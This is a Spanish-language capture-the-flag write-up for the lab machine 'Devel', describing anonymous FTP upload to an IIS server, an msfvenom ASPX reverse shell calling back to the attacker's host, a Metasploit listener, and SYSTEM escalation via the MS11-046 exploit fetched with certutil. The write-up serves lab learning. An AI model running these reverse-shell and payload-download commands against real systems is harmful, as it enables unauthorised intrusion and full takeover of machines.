Skip to main content

Command Palette

Search for a command to run...

Devel WriteUp

Updated
4 min read
Devel WriteUp

Iniciamos con un escaneo de puertos:

$nmap -sV -Pn -sC --script vuln -v 10.129.20.174

Si verificamos el puerto 80, notaremos que el servidor esta utilizando el servidor web de Microsoft IIS en su version 7.5

http://10.29.20.174

Probamos conectarnos por ftp como usuario anonimo y obtenemos conexion:

$ ftp anonymous@10.129.20.174

Si revisamos los archivos del ftp, veremos que entre ellos se encuentran:

- welcome.png -> Imagen de bienvenida

- iistart.htm -> Archivo de sitio predeterminado de Microsft IIS

- aspnet_client -> Carpeta de recursos

Si revisamos el servidor web, notaremos que si entramos a /welcome.png podremos ver la imagen de bienvenida que encontramos previamente en el ftp

http://10.29.20.174/welcome.png

Por lo tanto, analizando el escenario actual, un posible vector de entrada, seria subir una shell mediante el FTP y ejecutarla con el fin de obtener una conexion inversa.

Para ello, primero probaremos creando un archivo dummy para intentar subirlo al servidor ftp, primero creamos un simple txt con:

$ echo "0xNano" > pwned.txt

Y lo subimos al servidor ftp con el comando put:

put pwned.txt

Si revisamos la terminal en la que tenemos la conexion ftp, y lanzamos el comando dir veremos que el archivo se ha subido con exito

Comprobamos que el archivo se pueda leer desde el servidor web entrando a:

http://10.29.20.174/pwned.txt

Como pudimos subir el archivo txt con exito, ahora procederemos a subir una revshell, para ello, primero debemos crearla con msfvenom:

$ msfvenom -p windows/shell/reverse_tcp LHOST=10.10.14.80 LPORT=4444 -f aspx > shell.aspx

Una vez creada nuestra revshell, la subimos al ftp con el comando

put shell.aspx

Iniciamos la consola de metasploit con msfconsole -q y la configuramos para que reciba la conexion:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.80
set LPORT 4444

Iniciamos el listener de metasploit con el comando run para que se ponga a la escucha en nuestra maquina en el puerto que le asignamos previamente

Ejecutamos la shell accediendo a:

http://10.29.20.174/shell.aspx

Y recibimos la conexion en nuestra consola de metasploit, si comprobamos con el comando getuid veremos que tenemos acceso como el usuario IIS APPPOOL\Web y si consultamos la informacion del sistema con sysinfo veremos que se trata de una maquina Windows 7 6.1 con arquitectura x86

Como pudimos observar, no tenemos permisos de administrador y el uso con ese usuario es muy limitado, por lo que debemos escalar privilegios, para ello, pondremos la session en segundo plano con el comando background y buscamos en la consola de metasploit el exploit suggester con:

search exploit suggester

Configuramos el exploit suggester para que corra en la sesion 1 con:

set SESSION 1

Y lo ejecutamos con el comando run

Al terminar de ejecutarse el exploit suggester, nos recomendara varios exploits para escalar privilegios

Tras probar con algunos exploits y no tener exito debido a problemas de metasploit, decidi buscar de forma manual

Tras buscar en Google vulnerabilidades que permitan escalada de privilegios en Windows 7 6.1 encontre varios resultados

Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046):

https://www.exploit-db.com/exploits/40564

CVE-2011-1249 es una vulnerabilidad de elevación de privilegios en el controlador AFD (Ancillary Function Driver), responsable de manejar las comunicaciones Winsock TCP/IP en Windows (archivo afd.sys). El fallo ocurre porque el controlador no valida correctamente los datos enviados desde el modo usuario al kernel, lo que permite a un atacante con credenciales válidas y acceso local ejecutar código arbitrario con privilegios de sistema (NT AUTHORITY\SYSTEM).

Tras buscar una prueba de concepto (PoC), encontre la siguiente en GitHub:

https://github.com/mishmashclone/SecWiki-windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe

Descargamos el exploit de GitHub en nuestra maquina, iniciamos un servidor http con python donde este ubicado el exploit, y lo subimos a la maquina victima con el comando:

certutil -urlcache -split -f http://10.10.14.80/ms11-046.exe

Tras ejecutarlo, notaremos que si ejecutamos el comando whoami somos nt authority\system

Obtenemos la flag de user y root


📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

Nano

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.